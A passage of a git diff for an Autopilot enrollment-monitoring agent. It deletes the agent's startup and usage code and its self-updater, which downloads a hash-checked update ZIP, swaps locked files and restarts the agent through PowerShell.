(DateTime.TryParse(content, null, - System.Globalization.DateTimeStyles.RoundtripKind, out var sessionCreated)) - { - if (lastBootUtc.Value > sessionCreated.ToUniversalTime()) - previousExitType = "reboot_kill"; - } - } - catch { } - } - } - else - { - previousExitType = "first_run"; - } - } - - // Clean up: delete marker and crash logs so next cycle starts fresh - try { File.Delete(cleanExitMarker); } catch { } - foreach (var crashLog in crashLogs) - try { File.Delete(crashLog); } catch { } - - if (previousExitType != "first_run") - logger.Info($"Previous exit: {previousExitType}{(previousCrashException != null ? $" ({previousCrashException})" : "")}"); - - using (var service = new MonitoringService(config, logger, agentVersion, previousExitType, previousCrashException, lastBootUtc)) - { - // Wire the runtime self-update trigger: on hash mismatch, MonitoringService - // invokes SelfUpdater with forceUpdate=true and a longer download timeout - // (60s, vs. 10s at startup) because monitoring is already running and we - // know an update is required. - service.RuntimeSelfUpdateTriggerAsync = (zipHash, allowDowngrade) => - { - if (!string.IsNullOrEmpty(zipHash)) - SelfUpdater.BackendExpectedSha256 = zipHash; - - return SelfUpdater.CheckAndApplyUpdateAsync( - currentVersion: agentVersion, - agentDir: agentDir, - consoleMode: consoleMode, - forceUpdate: true, - triggerReason: "runtime_hash_mismatch", - downloadTimeoutMsOverride: 60000, - allowDowngrade: allowDowngrade); - }; - - service.Start(); - - if (consoleMode) - { - Console.WriteLine("Agent is running. Press Enter to stop..."); - Console.ReadLine(); - service.Stop(); - Console.WriteLine("Agent stopped."); - } - else - { - // Running as Scheduled Task under SYSTEM - block until the monitoring - // service signals completion via self-destruct / process exit. - service.WaitForCompletion(); - } - } - - logger.Info("Agent stopped"); - } - catch (Exception ex) - { - // Last-resort: write to a crash file next to the log directory since we - // cannot use the Event Log (no traces policy). - try - { - var crashPath = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.LogDirectory), - $"crash_{DateTime.UtcNow:yyyyMMdd_HHmmss}.log"); - Directory.CreateDirectory(Path.GetDirectoryName(crashPath)); - File.WriteAllText(crashPath, $"[{DateTime.UtcNow:u}] FATAL: {ex}"); - } - catch { /* nowhere left to log */ } - - if (consoleMode) - { - Console.WriteLine($"ERROR: {ex.Message}"); - Console.WriteLine(ex.StackTrace); - } - } - } - - static void PrintUsage() - { - var version = GetAgentVersion(); - Console.WriteLine($"Autopilot Monitor Agent v{version}"); - Console.WriteLine(); - Console.WriteLine("Usage: AutopilotMonitor.Agent.exe [options]"); - Console.WriteLine(); - Console.WriteLine("Modes:"); - Console.WriteLine(" --install Deploy payload, create Scheduled Task, and start it"); - Console.WriteLine(" --tenant-id Tenant ID for bootstrap-config (used with --install)"); - Console.WriteLine(" --run-gather-rules Execute startup gather rules once and exit"); - Console.WriteLine(" --run-ime-matching Parse IME logs and produce ime_pattern_matching.log"); - Console.WriteLine(" PATH = folder (all IME logs) or single log file"); - Console.WriteLine(" (default) Run enrollment monitoring"); - Console.WriteLine(); - Console.WriteLine("General options:"); - Console.WriteLine(" --help, -h, -? Show this help message"); - Console.WriteLine(" --console Enable console output (mirrors log to stdout)"); - Console.WriteLine(" --log-level Override log level (Info, Debug, Verbose, Trace)"); - Console.WriteLine(" --new-session Force a new session ID (delete persisted session)"); - Console.WriteLine(" --keep-logfile Preserve log directory after self-destruct cleanup"); - Console.WriteLine(" --no-cleanup Disable self-destruct on enrollment completion"); - Console.WriteLine(" --reboot-on-complete Reboot the device after enrollment completes"); - Console.WriteLine(" --disable-geolocation Skip geo-location detection"); - Console.WriteLine(); - Console.WriteLine("Authentication:"); - Console.WriteLine(" --bootstrap-token Use bootstrap token auth (pre-MDM OOBE phase)"); - Console.WriteLine(); - Console.WriteLine("Await-enrollment mode:"); - Console.WriteLine(" --await-enrollment Wait for MDM certificate before starting monitoring"); - Console.WriteLine(" --await-enrollment-timeout Timeout in minutes for await-enrollment (default: 480)"); - Console.WriteLine(); - Console.WriteLine("Overrides:"); - Console.WriteLine(" --api-url Override backend API base URL"); - Console.WriteLine(" --backend-api Alias for --api-url"); - Console.WriteLine(" --ime-log-path Override IME logs directory"); - Console.WriteLine(" --ime-match-log Write matched IME log lines to file (debug)"); - Console.WriteLine(); - Console.WriteLine("IME matching options:"); - Console.WriteLine(" --patterns Use local patterns JSON instead of GitHub"); - Console.WriteLine(); - Console.WriteLine("Replay (testing/simulation):"); - Console.WriteLine(" --replay-log-dir Directory with real IME logs for replay"); - Console.WriteLine(" --replay-speed-factor Time compression factor (default: 50)"); - } - - static string FormatArgsForLog(string[] args) - { - if (args == null || args.Length == 0) - return "(none)"; - - var parts = new string[args.Length]; - for (int i = 0; i < args.Length; i++) - { - if (i > 0 && string.Equals(args[i - 1], "--bootstrap-token", StringComparison.OrdinalIgnoreCase)) - parts[i] = "***REDACTED***"; - else - parts[i] = args[i]; - } - - return string.Join(" ", parts); - } - - /// - /// Checks if another AutopilotMonitor.Agent.exe process is already running. - /// - /// - /// Queries the System Event Log for the most recent boot event (ID 6009 = OS version logged at startup). - /// Returns the UTC timestamp of the last system boot, or null if the query fails. - /// - static DateTime? GetLastBootTimeFromEventLog() - { - try - { - var query = new EventLogQuery("System", PathType.LogName, - "*[System[Provider[@Name='EventLog'] and (EventID=6009)]]") - { - ReverseDirection = true - }; - using (var reader = new EventLogReader(query)) - { - var record = reader.ReadEvent(); - if (record?.TimeCreated != null) - { - using (record) - return record.TimeCreated.Value.ToUniversalTime(); - } - } - } - catch { } - return null; - } - - static bool IsAnotherAgentInstanceRunning() - { - try - { - var currentProcess = Process.GetCurrentProcess(); - var processes = Process.GetProcessesByName(currentProcess.ProcessName); - - // If there's more than one process with our name, another instance is running - return processes.Length > 1; - } - catch - { - // If we can't check, assume no conflict - return false; - } - } - } - - /// - /// Persisted bootstrap configuration for OOBE-bootstrapped agents. - /// Saved to %ProgramData%\AutopilotMonitor\bootstrap-config.json by RunInstallMode - /// so the Scheduled Task can pick it up on restart. - /// - class BootstrapConfigFile - { - public string BootstrapToken { get; set; } - public string TenantId { get; set; } - } - - /// - /// Persisted await-enrollment configuration. - /// Saved to %ProgramData%\AutopilotMonitor\await-enrollment.json by RunInstallMode - /// so the Scheduled Task enters await-enrollment mode on startup. - /// Deleted after the MDM certificate is found. - /// - class AwaitEnrollmentConfigFile - { - public int TimeoutMinutes { get; set; } = 480; - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/SelfUpdater.cs b/src/Agent/AutopilotMonitor.Agent/SelfUpdater.cs deleted file mode 100644 index b6bb69fe..00000000 --- a/src/Agent/AutopilotMonitor.Agent/SelfUpdater.cs +++ /dev/null @@ -1,806 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Net.Http; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared; -using Newtonsoft.Json.Linq; - -namespace AutopilotMonitor.Agent -{ - /// - /// Fast self-update at agent startup: checks version.json in blob storage, - /// downloads the ZIP if newer, swaps files (rename-trick for locked binaries), - /// and restarts via PowerShell Wait-Process. - /// - /// Design priority: speed over update — better to run the old version than delay startup. - /// - static class SelfUpdater - { - private const int VersionCheckTimeoutMs = 2500; // 2.5s — covers cold DNS/TLS on fresh Autopilot boot - private const int DownloadTimeoutMs = 10000; // 10s — abort if too slow - private const string OldFileSuffix = ".old"; - - /// - /// Writes an init banner to the log file to visually separate this agent process - /// from install-mode logs that share the same file. - /// - public static void LogInit(string agentVersion) - { - LogToFile($"======================= Agent init (v{agentVersion}) ======================="); - } - - /// - /// Writes a message to the agent log file. Used for pre-update logging - /// when the full AgentLogger is not yet initialized. - /// - public static void Log(string message) - { - LogToFile(message); - } - - /// - /// Deletes leftover .old files from a previous self-update. - /// Called early in startup before any other logic. - /// - public static void CleanupPreviousUpdate(string agentDir, Action log) - { - try - { - if (!Directory.Exists(agentDir)) - return; - - foreach (var oldFile in Directory.GetFiles(agentDir, "*" + OldFileSuffix)) - { - try - { - File.Delete(oldFile); - } - catch - { - // Best-effort: file may still be locked if previous process hasn't fully exited - } - } - - // Also clean up any leftover staging directory - var stagingDir = Environment.ExpandEnvironmentVariables(Constants.AgentUpdateStagingDir); - if (Directory.Exists(stagingDir)) - { - try { Directory.Delete(stagingDir, true); } catch { } - } - } - catch (Exception ex) - { - log?.Invoke($"Self-update cleanup warning: {ex.Message}"); - } - } - - /// - /// Optional: backend-provided SHA-256 hash of the latest agent ZIP. - /// Set from the last AgentConfigResponse before calling CheckAndApplyUpdateAsync. - /// Takes priority over the hash in version.json (separate trust channel). - /// - public static string BackendExpectedSha256 { get; set; } - - /// - /// Checks for a newer agent version and applies the update if available. - /// On success, restarts the process and never returns. - /// On any failure, returns normally so the current version continues. - /// - /// - /// When true, bypasses the IsNewerVersion check — used by the runtime-hash-mismatch trigger - /// to cover hotfixes that reuse the same version number. - /// - /// - /// "startup" (default) or "runtime_hash_mismatch". Recorded in the marker file so the - /// agent_version_check event (outcome=updated) can distinguish the two paths. - /// - /// - /// Overrides the ZIP download timeout. Startup path leaves null (fast-fail, 10s) to preserve - /// Autopilot boot speed. Runtime trigger passes 60000 because monitoring is already running - /// and we know an update is required. - /// - /// - /// When false (default), a latest version strictly lower than - /// is rejected even when is true — prevents the production - /// version.json from silently overwriting a higher-versioned dev/pre-release agent via - /// the runtime hash-mismatch path. Set to true only for controlled rollback scenarios. - /// - public static async Task CheckAndApplyUpdateAsync( - string currentVersion, - string agentDir, - bool consoleMode, - bool forceUpdate = false, - string triggerReason = "startup", - int? downloadTimeoutMsOverride = null, - bool allowDowngrade = false) - { - Action log = msg => - { - LogToFile(msg); - if (consoleMode) Console.WriteLine(msg); - }; - - var isStartupTrigger = string.Equals(triggerReason, "startup", StringComparison.Ordinal); - var downloadTimeoutMs = downloadTimeoutMsOverride ?? DownloadTimeoutMs; - var totalSw = Stopwatch.StartNew(); - long versionCheckMs = 0, downloadMs = 0, verifyMs = 0, extractMs = 0, swapMs = 0; - long zipSizeBytes = 0; - string latestVersion = null; - - try - { - // Step 1: Fetch version.json (1s timeout) - var versionSw = Stopwatch.StartNew(); - string manifestSha256; - (latestVersion, manifestSha256) = await GetLatestVersionAsync(log); - versionSw.Stop(); - versionCheckMs = versionSw.ElapsedMilliseconds; - - if (latestVersion == null) - { - if (isStartupTrigger) - WriteSkipMarker("version_check_failed", currentVersion, null, "version.json fetch failed or timed out", log); - return; // Could not determine latest version — continue with current - } - - // Step 2: Version comparison. Three-way decision: - // cmp < 0 → latest < current = downgrade - // cmp == 0 → latest == current = same version (hash repair only, requires forceUpdate) - // cmp > 0 → latest > current = upgrade - var cmp = CompareVersions(currentVersion, latestVersion); - - if (cmp < 0) - { - // Downgrade — forward-only policy blocks this by default even when forceUpdate=true. - // Protects dev/pre-release builds from being silently replaced by the production - // version advertised by the prod backend (runtime_hash_mismatch force path). - if (!allowDowngrade) - { - log($"Self-update: downgrade BLOCKED — current={currentVersion}, latest={latestVersion}, trigger={triggerReason}, allowDowngrade=false"); - WriteDowngradeBlockedMarker(currentVersion, latestVersion, triggerReason, log); - return; - } - log($"Self-update: downgrade ALLOWED (admin override) — current={currentVersion}, latest={latestVersion}, trigger={triggerReason}"); - } - else if (cmp == 0) - { - // Same version: only proceed when forceUpdate (e.g. runtime hash mismatch = binary repair). - if (!forceUpdate) - { - log($"Self-update: current version {currentVersion} is up to date (latest: {latestVersion})"); - if (isStartupTrigger) - WriteCheckedMarker(currentVersion, latestVersion, versionCheckMs, log); - return; - } - log($"Self-update: same-version REPAIR (trigger={triggerReason}) — reinstalling {currentVersion}"); - } - else if (cmp > 0) - { - log($"Self-update: newer version available — current={currentVersion}, latest={latestVersion}"); - } - else - { - // cmp == int.MinValue sentinel from CompareVersions → unparsable version string on - // either side. Fall back to the pre-fix behaviour: proceed only when forceUpdate. - if (!forceUpdate) - { - log($"Self-update: cannot compare versions (current={currentVersion}, latest={latestVersion}) — skipping"); - if (isStartupTrigger) - WriteSkipMarker("version_compare_failed", currentVersion, latestVersion, "version parse failed", log); - return; - } - log($"Self-update: FORCE mode (trigger={triggerReason}) — current={currentVersion}, latest={latestVersion}, proceeding despite unparsable versions"); - } - - // Step 3: Download ZIP (timeout = downloadTimeoutMs) - var zipPath = Path.Combine(Path.GetTempPath(), "AutopilotMonitor-Agent-Update.zip"); - var downloadTimerSw = Stopwatch.StartNew(); - var downloadOk = await DownloadZipAsync(zipPath, downloadTimeoutMs, log); - downloadTimerSw.Stop(); - downloadMs = downloadTimerSw.ElapsedMilliseconds; - if (!downloadOk) - { - if (isStartupTrigger) - WriteSkipMarker("download_failed", currentVersion, latestVersion, $"ZIP download failed within {downloadTimeoutMs}ms", log); - return; - } - try { zipSizeBytes = new FileInfo(zipPath).Length; } catch { /* best-effort */ } - - // Step 3b: Verify SHA-256 integrity (backend hash has priority over version.json hash) - string expectedSha256; - if (!string.IsNullOrEmpty(BackendExpectedSha256)) - { - expectedSha256 = BackendExpectedSha256; - log("Self-update: using backend hash for integrity verification (cached config — trusted channel)"); - } - else if (!string.IsNullOrEmpty(manifestSha256)) - { - expectedSha256 = manifestSha256; - log("Self-update: using version.json hash for integrity verification (blob storage)"); - } - else - { - expectedSha256 = null; - } - - var verifySw = Stopwatch.StartNew(); - var integrityOk = VerifyZipIntegrity(zipPath, expectedSha256, log); - verifySw.Stop(); - verifyMs = verifySw.ElapsedMilliseconds; - - if (!integrityOk) - { - CleanupStaging(null, zipPath); - if (isStartupTrigger) - WriteSkipMarker("integrity_mismatch", currentVersion, latestVersion, "SHA-256 mismatch on downloaded ZIP", log); - return; - } - - // Step 4: Extract to staging directory - var stagingDir = Environment.ExpandEnvironmentVariables(Constants.AgentUpdateStagingDir); - var extractSw = Stopwatch.StartNew(); - var extractOk = ExtractToStaging(zipPath, stagingDir, log); - extractSw.Stop(); - extractMs = extractSw.ElapsedMilliseconds; - if (!extractOk) - { - if (isStartupTrigger) - WriteSkipMarker("extract_failed", currentVersion, latestVersion, "ZIP extraction failed", log); - return; - } - - // Step 5: Validate staging - var stagedExe = Path.Combine(stagingDir, "AutopilotMonitor.Agent.exe"); - if (!File.Exists(stagedExe)) - { - log("Self-update: staging validation failed — AutopilotMonitor.Agent.exe not found in ZIP"); - CleanupStaging(stagingDir, zipPath); - if (isStartupTrigger) - WriteSkipMarker("extract_failed", currentVersion, latestVersion, "AutopilotMonitor.Agent.exe not found in ZIP", log); - return; - } - - // Step 6: Swap files (rename locked → .old, copy new) - var swapTimerSw = Stopwatch.StartNew(); - var swapOk = SwapFiles(agentDir, stagingDir, log); - swapTimerSw.Stop(); - swapMs = swapTimerSw.ElapsedMilliseconds; - if (!swapOk) - { - CleanupStaging(stagingDir, zipPath); - if (isStartupTrigger) - WriteSkipMarker("swap_failed", currentVersion, latestVersion, "file swap failed", log); - return; - } - - // Step 7: Clean up staging + temp ZIP - CleanupStaging(stagingDir, zipPath); - - // Step 8: Write marker file so the new agent can emit an event on next startup - totalSw.Stop(); - WriteSelfUpdateMarker( - previousVersion: currentVersion, - newVersion: latestVersion, - triggerReason: triggerReason, - versionCheckMs: versionCheckMs, - downloadMs: downloadMs, - zipSizeBytes: zipSizeBytes, - verifyMs: verifyMs, - extractMs: extractMs, - swapMs: swapMs, - totalUpdateMs: totalSw.ElapsedMilliseconds, - log: log); - - // Step 9: Restart via PowerShell Wait-Process - log($"Self-update: files swapped successfully, restarting agent (v{latestVersion})..."); - RestartAgent(agentDir, log); - - // RestartAgent calls Environment.Exit — we should never reach here - } - catch (Exception ex) - { - log($"Self-update: unexpected error — {ex.Message}. Continuing with current version."); - if (isStartupTrigger) - { - try { WriteSkipMarker("unexpected_error", currentVersion, latestVersion, ex.Message, log); } catch { } - } - } - } - - /// - /// Fetches the V1 line's version manifest (version-v1.json) from blob storage and returns - /// the version string and optional SHA-256 hash. Returns (null, null) if the check fails or times out. - /// V1 SelfUpdater is isolated to its versioned namespace so it never crosses into the - /// stable channel (which now serves V2 post-cutover). See .claude/plans/v2-cutover.md. - /// - private static async Task<(string version, string sha256)> GetLatestVersionAsync(Action log) - { - try - { - var versionUrl = $"{Constants.AgentBlobBaseUrl}/{Constants.AgentVersionFileNameForLine(1)}"; - - using (var handler = new HttpClientHandler()) - using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromMilliseconds(VersionCheckTimeoutMs) }) - { - var json = await client.GetStringAsync(versionUrl); - var obj = JObject.Parse(json); - var version = obj["version"]?.ToString(); - - if (string.IsNullOrWhiteSpace(version)) - { - log("Self-update: version.json has no 'version' field"); - return (null, null); - } - - var sha256 = obj["sha256"]?.ToString(); - if (!string.IsNullOrWhiteSpace(sha256)) - log($"Self-update: version.json has SHA-256 hash for integrity verification"); - - return (version.Trim(), sha256?.Trim()); - } - } - catch (TaskCanceledException) - { - log($"Self-update: version check timed out ({VersionCheckTimeoutMs}ms) — skipping update"); - return (null, null); - } - catch (HttpRequestException ex) when (ex.Message.Contains("404")) - { - log("Self-update: version.json not found (404) — skipping update"); - return (null, null); - } - catch (Exception ex) - { - log($"Self-update: version check failed — {ex.Message}"); - return (null, null); - } - } - - /// - /// Verifies the SHA-256 hash of the downloaded ZIP against the expected hash. - /// Returns true if the hash matches or if no expected hash is available (backward compat). - /// - private static bool VerifyZipIntegrity(string zipPath, string expectedSha256, Action log) - { - if (string.IsNullOrWhiteSpace(expectedSha256)) - { - log("Self-update: no SHA-256 hash available — skipping integrity check (backward compat)"); - return true; - } - - try - { - using (var sha256 = SHA256.Create()) - using (var stream = File.OpenRead(zipPath)) - { - var hashBytes = sha256.ComputeHash(stream); - var actualHash = BitConverter.ToString(hashBytes).Replace("-", "").ToLowerInvariant(); - - if (string.Equals(actualHash, expectedSha256.ToLowerInvariant(), StringComparison.Ordinal)) - { - log("Self-update: SHA-256 integrity check passed"); - return true; - } - - log($"Self-update: SHA-256 MISMATCH — expected={expectedSha256}, actual={actualHash}. Aborting update."); - return false; - } - } - catch (Exception ex) - { - log($"Self-update: SHA-256 verification failed — {ex.Message}. Aborting update."); - return false; - } - } - - /// - /// Compares two version strings. Returns true if latest is newer than current. - /// Strips SemVer suffixes (+metadata, -prerelease) before parsing because - /// System.Version cannot handle them (e.g. "1.0.386+b7f8d3c..." would fail). - /// - private static bool IsNewerVersion(string current, string latest) - { - return CompareVersions(current, latest) > 0; - } - - /// - /// Compares two version strings. Returns negative when latest is older than current, - /// zero when equal, positive when latest is newer than current. Returns - /// when either side is not a parseable - /// (callers must treat this as "cannot compare" rather than an ordered result). - /// Strips SemVer suffixes (+metadata, -prerelease) before parsing because - /// System.Version cannot handle them. - /// - internal static int CompareVersions(string current, string latest) - { - if (!Version.TryParse(StripVersionSuffix(current), out var currentVer)) - return int.MinValue; - if (!Version.TryParse(StripVersionSuffix(latest), out var latestVer)) - return int.MinValue; - - return latestVer.CompareTo(currentVer); - } - - private static string StripVersionSuffix(string version) - { - if (string.IsNullOrEmpty(version)) - return version; - - var plusIndex = version.IndexOf('+'); - if (plusIndex >= 0) - version = version.Substring(0, plusIndex); - - var dashIndex = version.IndexOf('-'); - if (dashIndex >= 0) - version = version.Substring(0, dashIndex); - - return version; - } - - /// - /// Downloads the agent ZIP to a temp path. Returns false on failure. - /// - private static async Task DownloadZipAsync(string zipPath, int timeoutMs, Action log) - { - try - { - var zipUrl = $"{Constants.AgentBlobBaseUrl}/{Constants.AgentZipFileNameForLine(1)}"; - - // Clean up any previous download - if (File.Exists(zipPath)) - File.Delete(zipPath); - - using (var handler = new HttpClientHandler()) - using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromMilliseconds(timeoutMs) }) - { - using (var response = await client.GetAsync(zipUrl)) - { - response.EnsureSuccessStatusCode(); - using (var fileStream = new FileStream(zipPath, FileMode.Create, FileAccess.Write, FileShare.None)) - { - await response.Content.CopyToAsync(fileStream); - } - } - } - - log($"Self-update: ZIP downloaded ({new FileInfo(zipPath).Length / 1024}KB)"); - return true; - } - catch (TaskCanceledException) - { - log($"Self-update: ZIP download timed out ({timeoutMs}ms) — aborting update"); - try { File.Delete(zipPath); } catch { } - return false; - } - catch (Exception ex) - { - log($"Self-update: ZIP download failed — {ex.Message}"); - try { File.Delete(zipPath); } catch { } - return false; - } - } - - /// - /// Extracts the ZIP to the staging directory. Returns false on failure. - /// - private static bool ExtractToStaging(string zipPath, string stagingDir, Action log) - { - try - { - // Clean up any previous staging - if (Directory.Exists(stagingDir)) - Directory.Delete(stagingDir, true); - - ZipFile.ExtractToDirectory(zipPath, stagingDir); - log($"Self-update: ZIP extracted to staging ({Directory.GetFiles(stagingDir).Length} files)"); - return true; - } - catch (Exception ex) - { - log($"Self-update: ZIP extraction failed — {ex.Message}"); - return false; - } - } - - /// - /// Swaps files from staging into the agent directory. - /// For locked files: rename to .old (Windows allows renaming locked files), then copy new. - /// Returns false if the swap fails critically. - /// - private static bool SwapFiles(string agentDir, string stagingDir, Action log) - { - try - { - var stagedFiles = Directory.GetFiles(stagingDir); - int swapped = 0; - - foreach (var stagedFile in stagedFiles) - { - var fileName = Path.GetFileName(stagedFile); - var targetPath = Path.Combine(agentDir, fileName); - - try - { - if (File.Exists(targetPath)) - { - // Try direct overwrite first - try - { - File.Copy(stagedFile, targetPath, overwrite: true); - swapped++; - continue; - } - catch (IOException) - { - // File is locked — use rename trick - } - - // Rename locked file to .old (Windows allows this even for locked files) - var oldPath = targetPath + OldFileSuffix; - if (File.Exists(oldPath)) - { - try { File.Delete(oldPath); } catch { } - } - - File.Move(targetPath, oldPath); - } - - File.Copy(stagedFile, targetPath); - swapped++; - } - catch (Exception ex) - { - log($"Self-update: failed to swap {fileName} — {ex.Message}"); - // Continue with other files; partial update is better than no update - // for non-critical files (configs, etc.) - } - } - - log($"Self-update: swapped {swapped}/{stagedFiles.Length} files"); - - // Critical check: the main exe must have been swapped - var mainExe = Path.Combine(agentDir, "AutopilotMonitor.Agent.exe"); - if (!File.Exists(mainExe)) - { - log("Self-update: CRITICAL — main exe missing after swap, aborting"); - return false; - } - - return true; - } - catch (Exception ex) - { - log($"Self-update: file swap failed — {ex.Message}"); - return false; - } - } - - /// - /// Restarts the agent using PowerShell Wait-Process (same pattern as SummaryDialog.SelfCleanup). - /// Wait-Process uses OS handles — zero polling, exits within milliseconds of process termination. - /// - private static void RestartAgent(string agentDir, Action log) - { - var pid = Process.GetCurrentProcess().Id; - var agentExePath = Path.Combine(agentDir, "AutopilotMonitor.Agent.exe"); - - // PowerShell Wait-Process: waits for our process to actually exit (no polling), - // then immediately starts the new agent. 30s timeout as safety net. - var psScript = $"Wait-Process -Id {pid} -Timeout 30 -ErrorAction SilentlyContinue; " + - $"& '{agentExePath}'"; - var encoded = Convert.ToBase64String(Encoding.Unicode.GetBytes(psScript)); - - var psi = new ProcessStartInfo - { - FileName = SystemPaths.PowerShell, - Arguments = $"-NoProfile -NonInteractive -EncodedCommand {encoded}", - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - UseShellExecute = false - }; - Process.Start(psi); - - log("Self-update: restart script launched, exiting current process"); - Environment.Exit(0); - } - - /// - /// Writes a small JSON marker so the next agent startup can emit an agent_version_check event - /// with outcome=updated. Best-effort — failure here must not block the update. Includes phase - /// timings, trigger reason, and exit timestamp so the downstream event can carry aggregable - /// telemetry (downtime, total update duration, etc.). - /// - private static void WriteSelfUpdateMarker( - string previousVersion, - string newVersion, - string triggerReason, - long versionCheckMs, - long downloadMs, - long zipSizeBytes, - long verifyMs, - long extractMs, - long swapMs, - long totalUpdateMs, - Action log) - { - try - { - var markerPath = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateMarkerFile); - var dir = Path.GetDirectoryName(markerPath); - if (!Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - var now = DateTime.UtcNow; - var payload = new JObject - { - ["outcome"] = "updated", - ["previousVersion"] = previousVersion ?? "unknown", - ["newVersion"] = newVersion ?? "unknown", - ["triggerReason"] = triggerReason ?? "startup", - ["updatedAtUtc"] = now.ToString("O"), - // exitAtUtc is written here — actual Environment.Exit happens a few hundred ms later - // via PowerShell Wait-Process, which is close enough for downtime telemetry. - ["exitAtUtc"] = now.ToString("O"), - ["versionCheckMs"] = versionCheckMs, - ["downloadMs"] = downloadMs, - ["zipSizeBytes"] = zipSizeBytes, - ["verifyMs"] = verifyMs, - ["extractMs"] = extractMs, - ["swapMs"] = swapMs, - ["totalUpdateMs"] = totalUpdateMs - }; - - File.WriteAllText(markerPath, payload.ToString(Newtonsoft.Json.Formatting.None)); - log("Self-update: marker file written for next-startup event"); - } - catch (Exception ex) - { - log($"Self-update: could not write marker file — {ex.Message} (non-critical)"); - } - } - - /// - /// Writes a small JSON marker so the next agent startup can emit an agent_version_check event - /// with outcome=skipped (or check_failed if the version.json fetch itself failed). Only called - /// on the startup trigger path (runtime-triggered failures are logged normally because the full - /// logger is already up). Best-effort — never throws. - /// - private static void WriteSkipMarker(string reason, string currentVersion, string latestVersion, string errorDetail, Action log) - { - try - { - var markerPath = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateSkippedMarkerFile); - var dir = Path.GetDirectoryName(markerPath); - if (!Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - var detail = errorDetail ?? string.Empty; - if (detail.Length > 200) detail = detail.Substring(0, 200); - - // version_check_failed = we never got a latestVersion; everything else = check succeeded - // but the download/verify/extract/swap step failed. - var outcome = string.Equals(reason, "version_check_failed", StringComparison.Ordinal) - ? "check_failed" - : "skipped"; - - var payload = new JObject - { - ["outcome"] = outcome, - ["reason"] = reason ?? "unknown", - ["currentVersion"] = currentVersion ?? "unknown", - ["latestVersion"] = latestVersion, // may be null if version check failed - ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"), - ["errorDetail"] = detail - }; - - File.WriteAllText(markerPath, payload.ToString(Newtonsoft.Json.Formatting.None)); - log($"Self-update: skip marker written (outcome={outcome}, reason={reason})"); - } - catch (Exception ex) - { - log($"Self-update: could not write skip marker — {ex.Message} (non-critical)"); - } - } - - /// - /// Writes a downgrade-blocked marker so the next agent startup can emit an - /// agent_version_check event with outcome=downgrade_blocked. Uses the - /// existing skipped-marker channel so - /// picks it up alongside other skip reasons. Best-effort — never throws. - /// - private static void WriteDowngradeBlockedMarker(string currentVersion, string latestVersion, string triggerReason, Action log) - { - try - { - var markerPath = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateSkippedMarkerFile); - var dir = Path.GetDirectoryName(markerPath); - if (!Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - var payload = new JObject - { - ["outcome"] = "downgrade_blocked", - ["reason"] = "downgrade_blocked", - ["currentVersion"] = currentVersion ?? "unknown", - ["latestVersion"] = latestVersion ?? "unknown", - ["triggerReason"] = triggerReason ?? "unknown", - ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"), - ["errorDetail"] = string.Empty - }; - - File.WriteAllText(markerPath, payload.ToString(Newtonsoft.Json.Formatting.None)); - log($"Self-update: downgrade-blocked marker written (current={currentVersion}, latest={latestVersion}, trigger={triggerReason})"); - } - catch (Exception ex) - { - log($"Self-update: could not write downgrade-blocked marker — {ex.Message} (non-critical)"); - } - } - - /// - /// Writes a small JSON marker on the happy path (current version is already up to date) so - /// the next agent startup can emit an agent_version_check event with outcome=up_to_date. - /// Subject to session-scoped dedup by the MonitoringService emitter. Best-effort — never throws. - /// - private static void WriteCheckedMarker(string currentVersion, string latestVersion, long versionCheckMs, Action log) - { - try - { - var markerPath = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateCheckedMarkerFile); - var dir = Path.GetDirectoryName(markerPath); - if (!Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - var payload = new JObject - { - ["outcome"] = "up_to_date", - ["currentVersion"] = currentVersion ?? "unknown", - ["latestVersion"] = latestVersion ?? "unknown", - ["versionCheckMs"] = versionCheckMs, - ["checkedAtUtc"] = DateTime.UtcNow.ToString("O") - }; - - File.WriteAllText(markerPath, payload.ToString(Newtonsoft.Json.Formatting.None)); - log("Self-update: checked marker written (up_to_date) for next-startup event"); - } - catch (Exception ex) - { - log($"Self-update: could not write checked marker — {ex.Message} (non-critical)"); - } - } - - /// - /// Cleans up staging directory and temp ZIP file. - /// - private static void CleanupStaging(string stagingDir, string zipPath) - { - try { if (Directory.Exists(stagingDir)) Directory.Delete(stagingDir, true); } catch { } - try { if (File.Exists(zipPath)) File.Delete(zipPath); } catch { } - } - - /// - /// Appends a log line to the main agent log file (logger isn't initialized yet at update time). - /// Uses the same date-based naming and format as AgentLogger: agent_YYYYMMDD.log - /// - private static void LogToFile(string message) - { - try - { - var logDir = Environment.ExpandEnvironmentVariables(Constants.LogDirectory); - Directory.CreateDirectory(logDir); - var logFileName = $"agent_{DateTime.Now:yyyyMMdd}.log"; - var logPath = Path.Combine(logDir, logFileName); - File.AppendAllText(logPath, $"[{DateTime.UtcNow:yyyy-MM-dd HH:mm:ss.fff}] [INFO] {message}{Environment.NewLine}"); - } - catch - { - // Best-effort logging — never block on log failure - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/buildcounter.txt b/src/Agent/AutopilotMonitor.Agent/buildcounter.txt deleted file mode 100644 index 2df08016..00000000 --- a/src/Agent/AutopilotMonitor.Agent/buildcounter.txt +++ /dev/null @@ -1 +0,0 @@ -1483 diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/EndpointPolicyCatalogCompletenessTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/EndpointPolicyCatalogCompletenessTests.cs index 942f890d..9f80249b 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/EndpointPolicyCatalogCompletenessTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/EndpointPolicyCatalogCompletenessTests.cs @@ -335,7 +335,7 @@ public class EndpointPolicyCatalogCompletenessTests [InlineData("GET", 